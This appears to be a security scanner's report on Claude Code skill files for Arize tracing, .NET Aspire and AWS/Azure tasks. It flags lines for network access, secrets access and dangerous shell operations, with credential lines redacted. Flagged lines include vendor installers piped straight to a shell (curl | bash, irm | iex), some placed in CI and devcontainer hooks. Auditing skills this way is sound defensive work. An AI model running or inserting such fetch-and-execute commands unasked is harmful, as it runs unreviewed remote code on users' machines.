Use this skill when the user wants to **add Arize AX tracing** to their application. Follow the **two-phase, agent-assisted flow** from the [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) and the [Arize AX T - Network accessline 38
> Follow the instructions from https://arize.com/docs/PROMPT.md and ask me questions as needed. - Access to secretsline 49
[Credential-related source omitted] - Network accessline 115
The **canonical list** of supported integrations and doc URLs is in the [Agent Setup Prompt](https://arize.com/docs/PROMPT.md). Use it to map detected signals to implementation docs. - Network accessline 117
- **LLM providers:** [OpenAI](https://arize.com/docs/ax/integrations/llm-providers/openai), [Anthropic](https://arize.com/docs/ax/integrations/llm-providers/anthropic), [LiteLLM](https://arize.com/docs/ax/integrations/llm-providers/litellm) - Network accessline 118
- **Python frameworks:** [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain), [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph), [LlamaIndex](https://arize.com/docs/ax/in - Network accessline 119
- **TypeScript/JavaScript:** [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain), [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra), [Vercel AI SDK](https://arize.com/docs/ax/ - Network accessline 120
- **Java:** [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j), [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai), [Arconia](https://arize.com/docs/ax/integrations/java/arconia). - Network accessline 121
- **Go:** No first-party auto-instrumentation packages today — use the OpenTelemetry Go SDK with manual [OpenInference](https://github.com/Arize-ai/openinference) attributes per [Manual instrumentation](https://arize.com/docs/ax/instrument/ - Network accessline 122
- **Platforms (UI-based):** [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow), [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise), [Dify](https://arize.com/docs/ax/integrations/platforms/dify), [Prompt f - Network accessline 123
- **Fallback:** [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation), [All integrations](https://arize.com/docs/ax/integrations). - Network accessline 125
**Fetch the matched doc pages** from the [full routing table in PROMPT.md](https://arize.com/docs/PROMPT.md) for exact installation and code snippets. Use [llms.txt](https://arize.com/docs/llms.txt) as a fallback for doc discovery if needed - Network accessline 138
- TypeScript/JavaScript: `@opentelemetry/sdk-trace-node` plus the relevant `@arizeai/openinference-*` package. - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle. - Go: `go get go.opentelemetry - Network accessline 139
- Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle. - Go: `go get go.opentelemetry.io/otel go.opentelemetry.io/otel/sdk go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp` — no auto-i - Network accessline 140
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Network accessline 141
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Network accessline 142
- Run `ax profiles show` to check for an existing profile. - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](ht - Network accessline 143
- If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) for details. - Network accessline 144
- If the user needs to find their API key manually, direct them to [https://app.arize.com](https://app.arize.com) and to navigate to the settings page (do not use organization-specific URLs with placeholder IDs — they won't resolve for new - Access to secretsline 145
[Credential-related source omitted] - Network accessline 277
See [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) for more span kinds and attributes. - Access to secretsline 292
[Credential-related source omitted] - Network accessline 315
"arize-ax-docs": { "url": "https://arize.com/docs/mcp" - Network accessline 316
"url": "https://arize.com/docs/mcp" - Network accessline 322
See the full setup at [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant). - Network accessline 326
| Resource | URL | |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | - Network accessline 327
|----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md | - Network accessline 328
| Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | - Network accessline 329
| Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md | - Network accessline 330
| Arize AX Docs | https://arize.com/docs/ax | - Network accessline 331
| Full integration list | https://arize.com/docs/ax/integrations | - Network accessline 332
| Doc index (llms.txt) | https://arize.com/docs/llms.txt | - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Network accessline 387
- [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) - Network accessline 388
- [Agent Setup Prompt](https://arize.com/docs/PROMPT.md) - Network accessline 389
- [Arize AX Docs](https://arize.com/docs/ax) - Network accessline 390
- [Full integration list](https://arize.com/docs/ax/integrations) - Network accessline 391
- [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) - Network accessline 392
- [OpenInference](https://github.com/Arize-ai/openinference) - Network accessline 393
- [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) - Network accessline 394
- [Arize app](https://app.arize.com) - Network accessline 395
- [Doc index](https://arize.com/docs/llms.txt) - Network accessline 396
- [Arize Docs MCP](https://arize.com/docs/mcp) - Network accessline 397
- [OpenAI integration](https://arize.com/docs/ax/integrations/llm-providers/openai) - Network accessline 398
- [Anthropic integration](https://arize.com/docs/ax/integrations/llm-providers/anthropic) - Network accessline 399
- [LiteLLM integration](https://arize.com/docs/ax/integrations/llm-providers/litellm) - Network accessline 400
- [Google Gen AI integration](https://arize.com/docs/ax/integrations/llm-providers/google-gen-ai) - Network accessline 401
- [Amazon Bedrock integration](https://arize.com/docs/ax/integrations/llm-providers/amazon-bedrock) - Network accessline 402
- [Ollama integration](https://arize.com/docs/ax/integrations/llm-providers/llama) - Network accessline 403
- [Groq integration](https://arize.com/docs/ax/integrations/llm-providers/groq) - Network accessline 404
- [MistralAI integration](https://arize.com/docs/ax/integrations/llm-providers/mistralai) - Network accessline 405
- [OpenRouter integration](https://arize.com/docs/ax/integrations/llm-providers/openrouter) - Network accessline 406
- [VertexAI integration](https://arize.com/docs/ax/integrations/llm-providers/vertexai) - Network accessline 407
- [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain) - Network accessline 408
- [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph) - Network accessline 409
- [LlamaIndex](https://arize.com/docs/ax/integrations/python-agent-frameworks/llamaindex) - Network accessline 410
- [CrewAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/crewai) - Network accessline 411
- [DSPy](https://arize.com/docs/ax/integrations/python-agent-frameworks/dspy) - Network accessline 412
- [AutoGen](https://arize.com/docs/ax/integrations/python-agent-frameworks/autogen) - Network accessline 413
- [Semantic Kernel](https://arize.com/docs/ax/integrations/python-agent-frameworks/semantic-kernel) - Network accessline 414
- [Pydantic AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/pydantic) - Network accessline 415
- [Haystack](https://arize.com/docs/ax/integrations/python-agent-frameworks/haystack) - Network accessline 416
- [Guardrails AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/guardrails-ai) - Network accessline 417
- [Hugging Face Smolagents](https://arize.com/docs/ax/integrations/python-agent-frameworks/hugging-face-smolagents) - Network accessline 418
- [Instructor](https://arize.com/docs/ax/integrations/python-agent-frameworks/instructor) - Network accessline 419
- [Agno](https://arize.com/docs/ax/integrations/python-agent-frameworks/agno) - Network accessline 420
- [Google ADK](https://arize.com/docs/ax/integrations/python-agent-frameworks/google-adk) - Network accessline 421
- [MCP](https://arize.com/docs/ax/integrations/python-agent-frameworks/model-context-protocol) - Network accessline 422
- [Portkey](https://arize.com/docs/ax/integrations/python-agent-frameworks/portkey) - Network accessline 423
- [Together AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/together-ai) - Network accessline 424
- [BeeAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/beeai) - Network accessline 425
- [AWS Bedrock Agents](https://arize.com/docs/ax/integrations/python-agent-frameworks/aws) - Network accessline 426
- [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain) - Network accessline 427
- [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra) - Network accessline 428
- [Vercel AI SDK](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/vercel) - Network accessline 429
- [BeeAI JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/beeai) - Network accessline 430
- [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j) - Network accessline 431
- [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai) - Network accessline 432
- [Arconia](https://arize.com/docs/ax/integrations/java/arconia) - Network accessline 433
- [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow) - Network accessline 434
- [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise) - Network accessline 435
- [Dify](https://arize.com/docs/ax/integrations/platforms/dify) - Network accessline 436
- [Prompt flow](https://arize.com/docs/ax/integrations/platforms/prompt-flow)
harness/claude-code/skills/arize-instrumentation/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com by navigating to the settings page. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmati - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/skills/arize-link/SKILL.md
- Network accessline 40
Default `base_url` is `https://app.arize.com`; override it only for on-prem deployments. - Network accessline 44
All path IDs must be base64-encoded with characters `A-Za-z0-9+/=`. Raw numeric IDs produce valid-looking URLs that 404. If the user provides a number, ask them to copy the ID directly from an Arize browser URL such as `https://app.arize.co - Network accessline 88
| 404 | Wrong ID or non-base64 ID | Re-check `org_id`, `space_id`, and `project_id` from the browser URL. | | Span not highlighted | `span_id` belongs to a different trace | Verify `span_id` against exported span data. | | `org_id` unknown - Network accessline 90
| `org_id` unknown | `ax` CLI does not expose it | Ask the user to copy it from `https://app.arize.com/organizations/{org_id}/spaces/{space_id}/…`. | - Network accessline 132
- [Arize application](https://app.arize.com)
harness/claude-code/skills/arize-link/references/EXAMPLES.md
- Network accessline 14
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=gene - Network accessline 20
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&selectedSpanId={span_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&en - Network accessline 26
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedSessionId={session_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType= - Network accessline 32
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=examples - Network accessline 38
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=experiments - Network accessline 44
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues - Network accessline 50
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues/{queue_id} - Network accessline 56
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id} - Network accessline 62
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}?version={version_url_encoded} - Network accessline 68
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/annotation-configs
harness/claude-code/skills/arize-prompt-optimization/SKILL.md
- Network accessline 72
If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is - Network accessline 73
- `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof - Network accessline 74
- `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir - Access to secretsline 77
[Credential-related source omitted] - Network accessline 499
- [ ] The output follows the `## Output template` structure and reports commands run or skipped. ## References - [Arize API Keys](https://app.arize.com/admin) - Network accessline 501
- [Arize API Keys](https://app.arize.com/admin)
harness/claude-code/skills/arize-prompt-optimization/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/skills/arize-trace/SKILL.md
- Network accessline 35
| --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API ke - Network accessline 36
| `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API key, or `401 Una - Network accessline 37
| `No profile found`, missing API key, or `401 Unauthorized` | Run `ax profiles show`. If missing or wrong, read `references/ax-profiles.md`. If the user lacks a key, direct them to https://app.arize.com/admin > API Keys. | - Network accessline 250
- [Arize API keys](https://app.arize.com/admin)
harness/claude-code/skills/arize-trace/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/skills/aspire/SKILL.md
- Network accessline 32
# Linux / macOS curl -sSL https://aspire.dev/install.sh | bash - Dangerous shell operationline 33
curl -sSL https://aspire.dev/install.sh | bash - Network accessline 33
curl -sSL https://aspire.dev/install.sh | bash - Network accessline 35
# Windows PowerShell irm https://aspire.dev/install.ps1 | iex - Network accessline 36
irm https://aspire.dev/install.ps1 | iex - Network accessline 47
Prefer the Aspire MCP server when available. Aspire CLI 13.2+ adds docs search tools from PR https://github.com/dotnet/aspire/pull/14028 ; update with `aspire update --self --channel daily`. David Pine's overview is https://davidpine.dev/po - Network accessline 198
- [Documentation](https://aspire.dev) - Network accessline 199
- [Runtime repo](https://github.com/dotnet/aspire) - Network accessline 200
- [Docs repo](https://github.com/microsoft/aspire.dev) - Network accessline 201
- [Samples](https://github.com/dotnet/aspire-samples) - Network accessline 202
- [Community Toolkit](https://github.com/CommunityToolkit/Aspire) - Network accessline 203
- Dashboard image: `mcr.microsoft.com/dotnet/aspire-dashboard` - [Discord](https://aka.ms/aspire/discord) - [Reddit](https://www.reddit.com/r/aspiredotdev/) - Network accessline 204
- [Discord](https://aka.ms/aspire/discord) - Network accessline 205
- [Reddit](https://www.reddit.com/r/aspiredotdev/)
harness/claude-code/skills/aspire/references/architecture.md
- Network accessline 137
services__api__http__0=http://localhost:5234 - Network accessline 138
services__api__https__0=https://localhost:7234 - Network accessline 139
services__ml__http__0=http://localhost:8000 - Access to secretsline 162
[Credential-related source omitted] - Network accessline 228
OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317 - Access to secretsline 329
[Credential-related source omitted]
harness/claude-code/skills/aspire/references/cli-reference.md
- Network accessline 12
# Linux / macOS curl -sSL https://aspire.dev/install.sh | bash - Dangerous shell operationline 13
curl -sSL https://aspire.dev/install.sh | bash - Network accessline 13
curl -sSL https://aspire.dev/install.sh | bash - Network accessline 15
# Windows PowerShell irm https://aspire.dev/install.ps1 | iex - Network accessline 16
irm https://aspire.dev/install.ps1 | iex - Access to secretsline 146
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted]
harness/claude-code/skills/aspire/references/dashboard.md
- Network accessline 65
- **Model metadata** — which model, temperature, max tokens - **Latency** — time per AI call - Requires services to emit [GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) via OpenTelemetry - Network accessline 67
- Requires services to emit [GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) via OpenTelemetry - Network accessline 106
# Environment variables for any language's OpenTelemetry SDK OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317 - Network accessline 107
OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317 - Network accessline 122
build: ./api environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - Network accessline 123
environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - OTEL_SERVICE_NAME=api - Network accessline 124
- OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - Network accessline 128
build: ./worker environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - Network accessline 129
environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - OTEL_SERVICE_NAME=worker - Network accessline 130
- OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889 - Network accessline 154
# Accept OTLP over gRPC (default) -e DASHBOARD__OTLP__GRPC__ENDPOINT=http://0.0.0.0:18889 - Network accessline 155
-e DASHBOARD__OTLP__GRPC__ENDPOINT=http://0.0.0.0:18889 - Network accessline 157
# Accept OTLP over HTTP -e DASHBOARD__OTLP__HTTP__ENDPOINT=http://0.0.0.0:18890 - Network accessline 158
-e DASHBOARD__OTLP__HTTP__ENDPOINT=http://0.0.0.0:18890 - Network accessline 203
# Aspire injects OTEL_EXPORTER_OTLP_ENDPOINT automatically endpoint = os.environ.get("OTEL_EXPORTER_OTLP_ENDPOINT", "http://localhost:4317") - Network accessline 204
[Credential-related source omitted] - Access to secretsline 204
[Credential-related source omitted] - Network accessline 219
new BatchSpanProcessor( new OTLPTraceExporter({ url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317", - Network accessline 220
new OTLPTraceExporter({ url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317", }) - Network accessline 221
url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317",
harness/claude-code/skills/aspire/references/deployment.md
- Network accessline 143
- name: Install Aspire CLI run: curl -sSL https://aspire.dev/install.sh | bash - Dangerous shell operationline 144
run: curl -sSL https://aspire.dev/install.sh | bash - Network accessline 144
run: curl -sSL https://aspire.dev/install.sh | bash - Dangerous shell operationline 171
- script: curl -sSL https://aspire.dev/install.sh | bash - Network accessline 171
- script: curl -sSL https://aspire.dev/install.sh | bash - Network accessline 227
"ghcr.io/devcontainers/features/node:1": {} }, "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash", - Network accessline 228
}, "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash", "forwardPorts": [18888], - Dangerous shell operationline 229
"postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash", - Network accessline 229
"postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",
harness/claude-code/skills/aspire/references/integrations-catalog.md
- Network accessline 22
> **Tip:** These tools return the same data as the [official integrations gallery](https://aspire.dev/integrations/gallery/). Prefer them over static docs — integrations are added frequently. - Network accessline 30
- **Hosting package** (`Aspire.Hosting.*`) — adds the resource to the AppHost - **Client package** (`Aspire.*`) — configures the client SDK in your service with health checks, telemetry, and retries - **Community Toolkit** (`CommunityToolki - Network accessline 32
- **Community Toolkit** (`CommunityToolkit.Aspire.*`) — community-maintained integrations from [Aspire Community Toolkit](https://github.com/CommunityToolkit/Aspire)
harness/claude-code/skills/aspire/references/mcp-server.md
- Network accessline 5
Reference: https://aspire.dev/get-started/configure-mcp/ - Network accessline 87
> **Version gate:** These tools were added in [PR #14028](https://github.com/dotnet/aspire/pull/14028) and ship in Aspire CLI **13.2**. If you are on 13.1, these tools will NOT appear. To get them early, update to the daily channel: `aspire - Network accessline 126
- [VS Code](https://code.visualstudio.com/docs/agent-customization/mcp-servers) (GitHub Copilot) - Network accessline 127
- [Copilot CLI](https://docs.github.com/en/copilot/how-tos/use-copilot-agents/use-copilot-cli#add-an-mcp-server) - Network accessline 128
- [Claude Code](https://docs.claude.com/en/docs/claude-code/mcp) - Network accessline 129
- [OpenCode](https://opencode.ai/docs/mcp-servers/) - Network accessline 187
If you run into issues, check the [open MCP issues on GitHub](https://github.com/dotnet/aspire/issues?q=is%3Aissue+is%3Aopen+label%3Aarea-mcp). - Network accessline 191
- [aspire mcp command](https://aspire.dev/reference/cli/commands/aspire-mcp/) - Network accessline 192
- [aspire mcp init command](https://aspire.dev/reference/cli/commands/aspire-mcp-init/) - Network accessline 193
- [aspire mcp start command](https://aspire.dev/reference/cli/commands/aspire-mcp-start/) - Network accessline 194
- [GitHub Copilot in the Dashboard](https://aspire.dev/dashboard/copilot/) - Network accessline 195
- [How I taught AI to read Aspire docs](https://davidpine.dev/posts/aspire-docs-mcp-tools/)
harness/claude-code/skills/aspire/references/polyglot-apis.md
harness/claude-code/skills/aspire/references/troubleshooting.md
- Dangerous shell operationline 62
| "Permission denied" on Linux | Add user to `docker` group: `sudo usermod -aG docker $USER` | - Network accessline 188
| Channel | URL | | ----------------------- | ---------------------------------------------- | | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues | - Network accessline 189
| ----------------------- | ---------------------------------------------- | | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues | | GitHub Issues (docs) | https://github.com/microsoft/aspire.dev/issues | - Network accessline 190
| GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues | - Network accessline 191
| GitHub Issues (docs) | https://github.com/microsoft/aspire.dev/issues | - Network accessline 192
| Discord | https://aka.ms/aspire/discord | - Network accessline 194
| Reddit | https://www.reddit.com/r/aspiredotdev/ |
harness/claude-code/skills/automate-this/SKILL.md
- Network accessline 113
echo "=== Node ===" && { command -v node && node --version 2>&1; } || echo "not installed" echo "=== Homebrew ===" && { command -v brew && echo "installed"; } || echo "not installed" echo "=== Common Tools ===" && for cmd in curl jq playwri - Network accessline 115
echo "=== Common Tools ===" && for cmd in curl jq playwright selenium osascript automator crontab; do command -v $cmd >/dev/null 2>&1 && echo "$cmd: yes" || echo "$cmd: no"; done - Access to secretsline 188
[Credential-related source omitted]
harness/claude-code/skills/autoresearch/SKILL.md
- Network accessline 11
author: luiscantero compatibility: Requires git, a git repository, and terminal access to run commands. inspired-by: "https://github.com/karpathy/autoresearch" - Network accessline 12
compatibility: Requires git, a git repository, and terminal access to run commands. inspired-by: "https://github.com/karpathy/autoresearch" --- - Network accessline 13
inspired-by: "https://github.com/karpathy/autoresearch" - Network accessline 32
- Requires git, a git repository, and terminal access. - Requires a measurable metric with an exact command, extraction rule, and direction. - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>. - Network accessline 33
- Requires a measurable metric with an exact command, extraction rule, and direction. - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>. - Do not use for one-shot tasks, simple bug fixes, code review, or task - Network accessline 34
- Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>. - Network accessline 173
- [Karpathy autoresearch](https://github.com/karpathy/autoresearch)
harness/claude-code/skills/aws-cost-optimize/SKILL.md
- Network accessline 33
**Process**: 1. **Load Best Practices**: - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html` - Network accessline 34
1. **Load Best Practices**: - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html` - Fetch the AWS Well-Architected Cost Optimization pillar summary - Network accessline 35
- Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`
harness/claude-code/skills/aws-resource-health-diagnose/SKILL.md
- Network accessline 27
- The target resource must be identified by name, type, and optionally region/account. - CloudWatch logs and metrics should be enabled; if not, report the limitation and recommend enablement. - Fetch `https://docs.aws.amazon.com/AmazonCloud - Network accessline 29
- Fetch `https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/` when current monitoring guidance is needed. - Network accessline 173
- [Amazon CloudWatch monitoring](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/)
harness/claude-code/skills/aws-well-architected-review/SKILL.md
- Network accessline 27
- IaC should be present as Terraform, CloudFormation, CDK, or SAM. If none exists, review live resources only and report the gap. - GitHub issue creation requires an authenticated GitHub tool or `gh`; otherwise output issue-ready Markdown. - Network accessline 29
- Fetch `https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html` and relevant lenses when current best practices are needed. - Network accessline 216
- [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)
harness/claude-code/skills/az-cost-optimize/SKILL.md
- Network accessline 78
Calculate CPU and memory utilization averages, database throughput patterns, storage access frequency, and Function execution rates. Validate current monthly cost before recommendations by mapping `Resource -> Current SKU -> Estimated month
harness/claude-code/skills/azure-agentic-architecture-patterns/SKILL.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 73
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 74
- [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/) - Network accessline 75
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 76
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 77
- [GitHub Models](https://docs.github.com/github-models)
harness/claude-code/skills/azure-agentic-architecture-patterns/references/caching.md
- Network accessline 46
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 47
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/) - Network accessline 48
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)
harness/claude-code/skills/azure-agentic-architecture-patterns/references/context-curation.md
- Network accessline 47
- [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview) - Network accessline 48
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 49
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
harness/claude-code/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md
- Network accessline 35
- [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai) - Network accessline 36
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 37
- [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications) - Network accessline 38
- [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)
harness/claude-code/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md
- Network accessline 36
- [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/) - Network accessline 37
- [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/) - Network accessline 38
- [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection) - Network accessline 39
- [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)
harness/claude-code/skills/azure-agentic-architecture-patterns/references/memory.md
harness/claude-code/skills/azure-agentic-architecture-patterns/references/model-routing.md
harness/claude-code/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md
harness/claude-code/skills/azure-ai/SKILL.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 87
- AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search) - Network accessline 88
- Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)
harness/claude-code/skills/azure-ai/references/auth-best-practices.md
- Network accessline 3
